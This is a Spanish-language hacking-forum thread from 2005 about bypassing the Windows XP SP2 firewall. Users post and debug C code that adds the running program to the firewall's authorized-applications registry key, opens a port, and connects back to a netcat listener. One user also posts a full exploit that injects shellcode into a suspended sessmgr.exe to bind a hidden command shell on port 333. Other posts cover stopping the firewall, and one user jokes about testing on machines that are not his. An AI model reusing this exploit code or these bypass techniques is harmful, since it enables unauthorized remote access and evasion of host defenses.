Tema destacado: Nueva página de elhacker.net en Google+ 
Autor
|
Tema: Windows XP Firewall Bypassing (Leído 2,180 veces)
|
Ivanchuk
Desconectado
Mensajes: 466
LLVM
|
Se puede saltar el FW de XP SP2 con solo crear una clave en el registro!!!, a bueeeeeeenoooo, la verdad q esto es una joda  . Checkeen aca.Bytes.
|
|
|
|
|
En línea
|
|
|
|
|
|
sirdarckcat
Troll Buena Onda y
CoAdmin
 
Desconectado
Mensajes: 6.947
Lavando Platos
|
 interesante pero debes tener privilegios??.. pego el codigo. #include <stdio.h> #include <windows.h> #include <ezsocket.h> #include <conio.h> #include "Shlwapi.h"
int main( int argc, char *argv [] ) { char buffer[1024]; char filename[1024];
HKEY hKey; int i;
GetModuleFileName(NULL, filename, 1024);
strcpy(buffer, filename); strcat(buffer, ":*:Enabled:"); strcat(buffer, "bugg");
RegOpenKeyEx(
HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services" "\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile" "\\AuthorizedApplications\\List", 0, KEY_ALL_ACCESS, &hKey);
RegSetValueEx(hKey, filename, 0, REG_SZ, buffer, strlen(buffer)); int temp, sockfd, new_fd, fd_size; struct sockaddr_in remote_addr;
fprintf(stdout, "Simple server example with Anti SP2 firewall trick \n"); fprintf(stdout, " This is not trojan \n"); fprintf(stdout, " Opened port is :2001 \n"); fprintf(stdout, "author:Mark Kica student of Technical University Kosice\n"); fprintf(stdout, "Dedicated to Katka H. from Levoca \n");
sleep(3);
if ((sockfd = ezsocket(NULL, NULL, 2001, SERVER)) == -1) return 0;
for (; ; ) { RegDeleteValue(hKey, filename); fd_size = sizeof(struct sockaddr_in);
if ((new_fd = accept(sockfd, (struct sockaddr *)&remote_addr, &fd_size)) == -1) { perror("accept"); continue; } temp = send(new_fd, "Hello World\r\n", strlen("Hello World\r\n"), 0); fprintf(stdout, "Sended: Hello World\r\n"); temp = recv(new_fd, buffer, 1024, 0); buffer[temp] = '\0'; fprintf(stdout, "Recieved: %s\r\n", buffer); ezclose_socket(new_fd); RegSetValueEx(hKey, filename, 0, REG_SZ, buffer, strlen(buffer));
if (!strcmp(buffer, "quit")) break; }
ezsocket_exit(); return 0; } me sale error con devc++, borland, si alguien sabe porque acepto ayuda jaja. la libreria ezsocket.h es: /* +---------------------------------------------------------+ | EzSocket library - version 0.0.1 | | (C) 2001, Locrian <locrian@freemail.gr> | +---------------------------------------------------------+
This library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public License along with this library; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */
#ifndef _LIBEZSOCKET #define _LIBEZSOCKET
#include <stdio.h> #ifdef unix #include <stdlib.h> #include <unistd.h> #include <errno.h> #include <string.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <sys/wait.h> #include <netdb.h> #define SOCKET int #else #include <windows.h> #endif
#define EZSOCKET_VER "0.0.1"
/****** STREAM SOCKET FUNCTIONS *************************/ #define SERVER 1 #define CLIENT 2 int ezsocket_init(void); void ezsocket_exit(void); SOCKET ezsocket(struct sockaddr_in *addr, char *URL, int PORT, int mode); void ezclose_socket(SOCKET s); /********* END OF STREAM SOCKET FUNCTIONS ********/
/********* TIME FUNCTIONS ********/ char *ezdate(const char *format);
/* format variable can be: A = Date name B = Month name d = Day of the month (01-31) H = Hour(24) (00-23) I = Hour(12) (01-12) M = Minuets (00-59) m = Month (01-12) p = "AM" or "PM" S = Seconds (00-61) Y = Year (4 digits) (e.x. 2001) y = Year (2 digits) (e.x. 01) Z = TimeZone Example: "%d/%m/%Y - %H:%M:%S\n"
*/ /********* END OF TIME FUNCTIONS ********/ #endif
|
|
|
|
« Última modificación: 19 Septiembre 2005, 15:01 por Sirdarckcat »
|
En línea
|
|
|
|
sirdarckcat
Troll Buena Onda y
CoAdmin
 
Desconectado
Mensajes: 6.947
Lavando Platos
|
bueno, despues de un probar mucho, no lo consigo.. el error ya se que esta en el: RegSetValueEx mas especificamente en el buffer o en strlen(buffer) buffer es un string, que le mete el nombre del archivo, lo habilita, y agrega bugg al final.. no se para que.. alomejor el problema es que lo llama sin ser un puntador.. no se.. LONG RegSetValueEx( HKEY hKey, LPCTSTR lpValueName, DWORD Reserved, DWORD dwType, const BYTE* lpData, DWORD cbData ); esa es la sintaxis. bueno, cuando lo logre lo pongo corregido.. no entiendo porque nunca funcionan los exploits jaja.. una ejecucion correcta del comando seria: RegSetValueEx(KeyHandle, "kdna", 0&, REG_SZ, _ ByVal Description(1), Len(Description(1))) RegSetValueEx(hKey, filename, 0, REG_SZ, buffer, strlen(buffer)); analizare cada parte... hKey, esta correcto, se especifico en: HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services" "\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile" "\\AuthorizedApplications\\List", 0, KEY_ALL_ACCESS, &hKey); filename, ya dije que contiene, pero segun yo deberia ser un puntero.. aun asi ni con puntero funciona.. el 0, jaja siempre debe ser 0, asi que no hay que ver.. REG_SZ, es el tipo de valor.. tambien ta bien. buffer,. otro que segun yo debe ser puntero, pero que ni asi.. aunque en strings los punteros son ellos mismos.. si los llamas asi. y el strlen, esta bien,. asi que no encuentro.. estoy seguro que el error esta en manejo de punteros.. seguire intentando.
|
|
|
|
|
En línea
|
|
|
|
mousehack
Desconectado
Mensajes: 1.142
Ex-Colaborador....!!!!!!XD
|
pues en esa misma pagina esta este exploit: #include <windows.h> #include <winsock.h> #include <stdlib.h> #include <stdio.h> #include <winsock.h>
void setfp(char *buffer,int sz,DWORD from,DWORD fp) { int i; for(i=0;i<sz-5;i++) if (buffer[i]=='\xb8'&&*(DWORD*)(buffer+i+1)==from) {*(DWORD*)(buffer+i+1)=fp;break;} }
int injcode(char *buffer) { HMODULE ws2_32; DWORD _loadlibrarya,_createprocessa,_wsastartup,_wsasocketa,_bind,_listen,_accept,_sleep; char *code; int len; ws2_32=LoadLibrary("ws2_32"); _loadlibrarya=(DWORD)GetProcAddress(GetModuleHandle("kernel32"),"LoadLibraryA"); _createprocessa=(DWORD)GetProcAddress(GetModuleHandle("kernel32"),"CreateProcessA"); _sleep=(DWORD)GetProcAddress(GetModuleHandle("kernel32"),"Sleep"); _wsastartup=(DWORD)GetProcAddress(ws2_32,"WSAStartup"); _wsasocketa=(DWORD)GetProcAddress(ws2_32,"WSASocketA"); _bind=(DWORD)GetProcAddress(ws2_32,"bind"); _listen=(DWORD)GetProcAddress(ws2_32,"listen"); _accept=(DWORD)GetProcAddress(ws2_32,"accept");
__asm { call over
push '23' push '_2sw' push esp mov eax,0x11111111 call eax
xor ebx,ebx push 0x64 pop ecx wsadata: push ebx loop wsadata push esp push 0x101 mov eax,0x33333333 call eax
push ebx push ebx push ebx push ebx push SOCK_STREAM push AF_INET mov eax,0x44444444 call eax mov esi,eax
push ebx push ebx push ebx push 0x4D010002 /*port 333*/ mov eax,esp push 0x10 push eax push esi mov eax,0x55555555 call eax
push SOMAXCONN push esi mov eax,0x66666666 call eax
push ebx push ebx push esi mov eax,0x77777777 call eax mov edi,eax
push ebx push ebx push ebx push ebx mov eax,esp push edi push edi push edi push ebx push SW_HIDE push STARTF_USESTDHANDLES push 0xA pop ecx startupinfo: push ebx loop startupinfo push 0x44 mov ecx,esp push 'dmc' mov edx, esp
push eax push ecx push ebx push ebx push ebx push 1 push ebx push ebx push edx push ebx mov eax,0x22222222 call eax
push INFINITE mov eax,0x88888888 call eax
over: pop eax mov code,eax }
len=0xA0; memcpy(buffer,code,len); setfp(buffer,len,0x11111111,_loadlibrarya); setfp(buffer,len,0x22222222,_createprocessa); setfp(buffer,len,0x33333333,_wsastartup); setfp(buffer,len,0x44444444,_wsasocketa); setfp(buffer,len,0x55555555,_bind); setfp(buffer,len,0x66666666,_listen); setfp(buffer,len,0x77777777,_accept); setfp(buffer,len,0x88888888,_sleep);
return len; }
void main(void) { STARTUPINFO sinfo; PROCESS_INFORMATION pinfo; CONTEXT context; LDT_ENTRY sel; DWORD read,tib,peb,exebase,peoffs,ep; IMAGE_NT_HEADERS pehdr; int len; char sessmgr[MAX_PATH+13]; char buffer[2048];
GetSystemDirectory(sessmgr,MAX_PATH); sessmgr[MAX_PATH]=0; strcat(sessmgr,"\\sessmgr.exe"); memset(&sinfo,0,sizeof(sinfo)); sinfo.cb=sizeof(sinfo);
if (!CreateProcess(sessmgr,NULL,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&sinfo,&pinfo)) printf("createprocess failed"), exit(1);
context.ContextFlags=CONTEXT_FULL; GetThreadContext(pinfo.hThread,&context); GetThreadSelectorEntry(pinfo.hThread,context.SegFs,&sel); tib=sel.BaseLow|(sel.HighWord.Bytes.BaseMid<<16)|(sel.HighWord.Bytes.BaseHi<<24); ReadProcessMemory(pinfo.hProcess,(LPCVOID)(tib+0x30),&peb,4,&read); ReadProcessMemory(pinfo.hProcess,(LPCVOID)(peb+0x08),&exebase,4,&read);
ReadProcessMemory(pinfo.hProcess,(LPCVOID)(exebase+0x3C),&peoffs,4,&read); ReadProcessMemory(pinfo.hProcess,(LPCVOID)(exebase+peoffs),&pehdr,sizeof(pehdr),&read); ep=exebase+pehdr.OptionalHeader.AddressOfEntryPoint;
len=injcode(buffer); VirtualProtect((LPVOID)ep,len,PAGE_EXECUTE_READWRITE,&read); WriteProcessMemory(pinfo.hProcess,(LPVOID)ep,buffer,len,&read);
ResumeThread(pinfo.hThread); }
teoricamente solo necesitariamos compilar este código y correrlo como usuario local en la maquina, esta prueba hará un bypass por telnet usando el puerto 333 hacia una maquina remota cualquiera, de esta manera cualquiera desde fuera podría correr esta aplicación sin ningún tipo de problema con el Firewall. Salu2
|
|
|
|
|
En línea
|
|
|
|
Ivanchuk
Desconectado
Mensajes: 466
LLVM
|
Si, necesitas tener privilegios para escribir en el registro. Respecto de los errores en el codigo, lo depure un poquito, solo que ahora vas a tener que poner el netcat a la escucha por el puerto 4444. Lo hice cliente, en teoria no debería enterarse el firewall del pedido de conexion de este programa. Digo en teoria porq no lo probe aun, pero hace lo que dice el PoC: #include <stdio.h> #include <windows.h> #include <winsock2.h> #include <conio.h>
int main( int argc, char *argv [] ) { char buffer[1024]; char filename[1024];
HKEY hKey; int i;
GetModuleFileName(NULL, filename, 1024);
strcpy(buffer, filename); strcat(buffer, ":*:Enabled:"); strcat(buffer, "bugg");
RegOpenKeyEx( HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\AuthorizedApplications\\List", 0, KEY_ALL_ACCESS, &hKey); RegSetValueEx(hKey, filename, 0, REG_SZ, (BYTE *)&buffer, strlen(buffer)); RegCloseKey(hKey); LPWSADATA lpWSAData; WSAStartup(MAKEWORD(2,2), lpWSAData);
int sockfd; if ((sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) return 0; struct sockaddr_in remote_addr; remote_addr.sin_family = AF_INET; remote_addr.sin_port = htons(4444); remote_addr.sin_addr.s_addr=inet_addr("127.0.0.1");
if (connect(sockfd, (struct sockaddr *)&remote_addr, sizeof(struct sockaddr)) == -1) return 0;
send(sockfd, "Hello World\r\n", strlen("Hello World\r\n"), 0); printf("Sended: Hello World\r\n");
shutdown(sockfd,0); WSACleanup(); return 0; }
Si lo compilas con el dev acordate de linkear con la libreria libws2_32.a. Igual el codigo anterior tiene algunas cosas q no me cierran, segun el servidor q hace deberia poner el socket como no bloqueante, sera q aun no vi como estan definidas las funciones q usa  . Ademas elimina el valor q creó en el registro antes de llamar a accept ???. Bytes.
|
|
|
|
|
En línea
|
|
|
|
Ivanchuk
Desconectado
Mensajes: 466
LLVM
|
mousehack, eso no tiene nada q ver con la vulnerabilidad q estamos hablando. Eso q pusiste aprovecha un proceso q esta "aprobado" por el FW(ej. sessmgr.exe), luego crea el proceso de manera suspendida para modificarle el codigo, obviamente q el nuevo codigo resulta ser una shell al puerto 333. Algo parecido se puede hacer creando hilos remotos a procesos q estan corriendo(CreateRemoteThread), lo he visto en KeyLoggers para evitar ser detectados como un proceso a parte. Si mal no recuerdo eso es Hijack. El tema q estamos tratando aca es especificamente la vulnerabilidad que aparece en esta pagina http://www.securiteam.com/windowsntfocus/5UP0F0UGUO.html. Bytes.
|
|
|
|
« Última modificación: 20 Septiembre 2005, 02:40 por Ivanchuk »
|
En línea
|
|
|
|
mousehack
Desconectado
Mensajes: 1.142
Ex-Colaborador....!!!!!!XD
|
si bien no se refiere a la modificacion del registro especificamente, el exploit posteado aprovecha tambien un bug del firewall de windows y lo sake de la misma pagina que vos pusiste...  viene a colacion del post. http://www.securiteam.com/exploits/6A00J0UBGS.htmlsalu2
|
|
|
|
« Última modificación: 19 Septiembre 2005, 21:13 por mousehack »
|
En línea
|
|
|
|
sirdarckcat
Troll Buena Onda y
CoAdmin
 
Desconectado
Mensajes: 6.947
Lavando Platos
|
si necesito privilegios, cual es la novedad, puedes detenrelo con net stop, o matando el proceso desde kill.exe.. o incluso desde el task manager.
lo unico nuevo, esque ahora sigue corriendo el firewall..
gracias por la correccion, sabia que eran los punteros xD.
(BYTE *)&buffer
bueno, tratare de aplicar esto, en mis maquinas de prueba, que no son mias, pero bueno jeje
|
|
|
|
|
En línea
|
|
|
|
yeikos
Desconectado
Mensajes: 1.424
|
Se puede detener el servicio del Firewall, pero para matar el proceso del Firewall se debería finalizar el procesos rundll32.exe, o me equivoco?
|
|
|
|
|
En línea
|
|
|
|
|
|
Ivanchuk
Desconectado
Mensajes: 466
LLVM
|
Yo pa pelearte un rato mousehack  . La info que pusiste es muy buena, no me la sabía. si necesito privilegios, cual es la novedad easy, easy  . pero debes tener privilegios??.. Solo respondi a esa pregunta. para matar el proceso del Firewall se debería finalizar el procesos rundll32.exe No es necesario matar el proceso, se puede detener con net stop como bien dijo Sirdarckcat. Nunca probé de matarlo pero puede q tengas razón YeIk0s. mmm Anelkaos, no es eso lo q estamos hablando. Segun entiendo lo q pusiste es un bug del editor del registro de windows, q puede servir para ocultar información creando claves con valores damasiado extensos. Me gustan las discuciones  .... Bytes.
|
|
|
|
« Última modificación: 20 Septiembre 2005, 02:37 por Ivanchuk »
|
En línea
|
|
|
|
sirdarckcat
Troll Buena Onda y
CoAdmin
 
Desconectado
Mensajes: 6.947
Lavando Platos
|
a si tienes razon con lo de rundll 32, yo como me acostumbre a matarlo, es con llamar a la utlilidad de config de el FW, le doy en el taskmanager finalizar, o con el kill, muchas veces hasta que SYSTEM, se da cuenta de que por algun motivo no se finaliza... y me pregunta si lo quiero finalizar.. le digo: SI¡¡¡ y se pone en proceso de depuracion, despues con el octopod le pongo en priridad alta, trato de finalizarlo de nuevo, y se cierra el FW, y el Explorer, el problema es que si no tengo privilegios, no puedo cambiar la prioridad, porlo que se queda en proceso de depuracion donde por algun motivo sigue protegiendo.
**a se me olvido.. los privilegios minimos necesarios son de duplicadores.. para mi metod'
|
|
|
|
« Última modificación: 20 Septiembre 2005, 03:38 por Sirdarckcat »
|
En línea
|
|
|
|
|
|